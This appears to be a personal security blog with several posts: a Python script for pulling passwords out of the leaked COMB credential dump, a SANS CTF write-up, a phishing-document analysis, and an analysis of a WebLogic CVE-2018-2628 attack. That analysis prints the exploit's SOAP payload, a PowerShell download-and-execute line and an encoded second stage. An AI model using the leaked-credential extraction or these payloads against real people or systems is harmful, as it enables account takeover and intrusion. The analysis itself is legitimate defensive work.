Extracting password from data leaks dump files

Recently I’ve read about this data leak; COMB: largest breach of all time leaked online with 3.2 billion records.

According to the article, it was known as “Compilation of Many Breaches” (COMB). This data was leaked on a popular hacking forum. It contains billions of user credentials from past leaks from Netflix, LinkedIn, Exploit.in, Bitcoin and more. This leak contains email and password pairs.

Inside the data dump, it was structured something like this:


The file contains something like this:

Which indicated as email:password

So I’m wondered… What if we extract either email or password only from all those files? We can maybe create a password list from that. Or we can analyze the password trend. See what’s the top password being used & stuff.

So… We’re not going thru all hundreds of files which total up 100GB+ to extract the password manually… That’s crazy ma man!

To make it easier, I’ve created a Python script to extract the password from all dump file recursively. The code as below:

#!/usr/bin/env python
import os
from timeit import default_timer as timer
from datetime import timedelta

inputfile = "/Desktop/test/data" #change this to your dump files locations

outputfile = open("extracted_password.txt", "w")

print("\nStart extracting...")
start = timer()

for path, dirs, files in os.walk(inputfile):
    for filename in files:
        fullpath = os.path.join(path, filename)
        with open(fullpath, "r") as f:
            for line in f:
                email, password, *rest = line.split(":")
                outputfile.write("%s" % password)
                #print(password, end='')


end = timer()
print("Time Taken: ", end='')

Save the code above & run the script:

$ python password_extractor.py

It may takes some times depending on your hardware resources and dump file size. You should see output something like this after the script completed execution:

When completed, you should see a new file named “extracted_password.txt” being created. Inside it contains all the password from all dump file; consolidated into 1 single big ass file.

Now we can start analyzing the password pattern. We can use this command below to see what’s the top 10 password:

$ time sort extracted_password.txt | uniq -c | sort -bgr | head -10

Happy hunting & analyzing! 🙂

Global Community CTF: Mini Bootup by SANS – NM02


This server is trying to get us to run some calculations but it's just too fast for us. Can you work out a way to solve this?

Domain: cgames-nm02.allyourbases.co Port: 9010

Let’s try connect to the domain & port given via netcat

Hmm. There’s mathematic question that we need to solve. But we’re too slow on solving it..

What if we create a bot to solve those question?

import pwn
import re

host, port = 'cgames-nm02.allyourbases.co', 9010
session = pwn.remote(host, port)

while True:
		what = session.recv(1024)
		questionrm = (what.replace('=','')) #remove =
		print "Q: " + questionrm
		math = eval(questionrm)
		math_str = str(math)
		print "AS: " + math_str
		print session.sendline(math_str)
		print session.recvline()
	except EOFError:

Save it & run. Watch the magic happen…

The flag is: SuperServer1337

Analyzing Phishing Email – Word XML File Analysis

Recently I’ve observed a phishing mail as below:
https://www.virustotal.com/#/file/cf027dd938f1a268f45f2ea786dc538ab47f35006fb12d0b64e0867bccf789c0/detection – clean

The file seems to be clean per VT. Interestingly, on details sections, found 2 URLs under OpenXML Doc Info; section Package Relationships:

To search for these URLs, first you’ll need to rename the Word doc file to compressed zip file. E.g. sample.doc to sample.zip.

Then, extract the zip file. The URLs can be found inside file document.xml.rels (~/sample_folder/word/_rels/):

Its may look simple if you know which & where the file to be look at.

I’m thinking; what if we can search for all the URL/hyperlink in the XML files content of the Word document, without actually having to open it one-by-one.

To do that, we’ll using zipdump, re-search (together with reextra) Python script tools by Didier Stevens:

Download the Python scripts mentioned above and put it into one place. Then, executed this command below:

./zipdump.py -D sample.zip | ./re-search.py -f -n url -u

Command above will search the content of the zip file & extract/applied regex searching for URLs.

As you can see below, these is all the URLs that contained in the Word doc:

Analyzing Oracle WebLogic attack

Recently we received an alert from our WAF related to an attack towards our environment.

Further review of the alert found that the attacker is using Oracle WebLogic RCE Deserialization Vulnerability (CVE-2018-2628).

We observed that the attacker included some sort of PowerShell command in their request:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
  <array class="java.lang.String" length="3">
    <void index="0">
    <void index="1">
    <void index="2">
    <void method="start"/>

Seems like the PowerShell command is using Base64 encoding for obfuscation. I use CyberChef to decode the base64. Result we get after decoding it:

$OS=(GWmi Win32_OperatingSystem).Caption;$WC=New-Object Net.WebClient;$WC.Headers['User-Agent']="PowerShell/WL+ $OS";IEX $WC.DownloadString('');

Seems like it tried to fetch file DL.php at Lets try grab that file:

root@box:~# wget
--2018-04-29 19:50:27--
Connecting to connected.
HTTP request sent, awaiting response... 404 Not Found
2018-04-29 19:50:28 ERROR 404: Not Found.

Hmm.. Error 404..? Is it true error? Or did we missing something here?

Lets analyze the command carefully:

PS C:\Users\Fossil\Desktop> $OS=(GWmi Win32_OperatingSystem).Caption;
PS C:\Users\Fossil\Desktop> $WC=New-Object Net.WebClient;
PS C:\Users\Fossil\Desktop> $WC.Headers['User-Agent']="PowerShell/WL+ $OS";
PS C:\Users\Fossil\Desktop>
PS C:\Users\Fossil\Desktop> echo $OS;
Microsoft Windows 7 Ultimate
PS C:\Users\Fossil\Desktop> echo $WC.Headers['User-Agent'];
PowerShell/WL+ Microsoft Windows 7 Ultimate

We can see the attacker is assigning/using specific User-Agent when fetching the file. That’s why when we try to wget/curl the file directly, it failed.

So what we need to do is set the User-Agent exactly the same as above when fetching the file. In this case, I’m using curl to fetch the file:

root@leopardbox:~# curl -v -H User-Agent: "PowerShell/WL Microsoft Windows 7 Professional"

Ah.. Now see young padawan? Previously if the file been fetch without the User-Agent, it will failed/throw error 404. Again, we see another set of base64 encoding here.

But what is it?

I’m not an expert to explain this, but TL;DR, it convert the base64 encoded string to a memory stream and executes it. I guess ¯_(ツ)_/¯

So, to see what happen if this command executes, we can use this Python script below to decode it. With this script, we can basically see what are those base64 are doing.

We’ll create a Python script named “decodeb64.py“. Copy the base64 we found above, paste it after the encoded parameters; as example below:

import base64
import zlib

encoded = "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"

Upgrade Python packages at using pip

As you read in the title above; to update your Python packages via pip.

for Linux/*nix:

pip freeze --local | grep -v '^\-e' | cut -d = -f 1  | xargs -n1 pip install -U

p/s: you may need to run as sudo. Probably.

for Windows:

for /F "delims===" %i in ('pip freeze -l') do pip install -U %i



Python Error – InsecurePlatformWarning

There is one time I see this kind of error:

          InsecurePlatformWarning: A true SSLContext object is not available. 
This prevents urllib3 from configuring SSL appropriately and may cause certain SSL connections to fail.
For more information, see https://urllib3.readthedocs.org/en/latest/security.html#insecureplatformwarning.

If you’re on Ubuntu, you may run into trouble installing pyopenssl, so you’ll need these dependencies:

apt-get install libffi-dev libssl-dev

Then you’ll only need to install the security package extras:

pip install requests[security]

or, install them directly via pip:

pip install pyopenssl ndg-httpsclient pyasn1

Requests package/library will then automatically inject pyopenssl into urllib3


Python Error – ImportError: No module named pkg_resources

There is one time I tried to install some python package via pip install requirement. But I encountered some error like this:

    from pkg_resources import load_entry_point
ImportError: No module named pkg_resources

To fix the issue, run the setup script for setuptools:

wget https://bitbucket.org/pypa/setuptools/raw/bootstrap/ez_setup.py -O - | python

Yeah. it solve my problem. Probably. XD
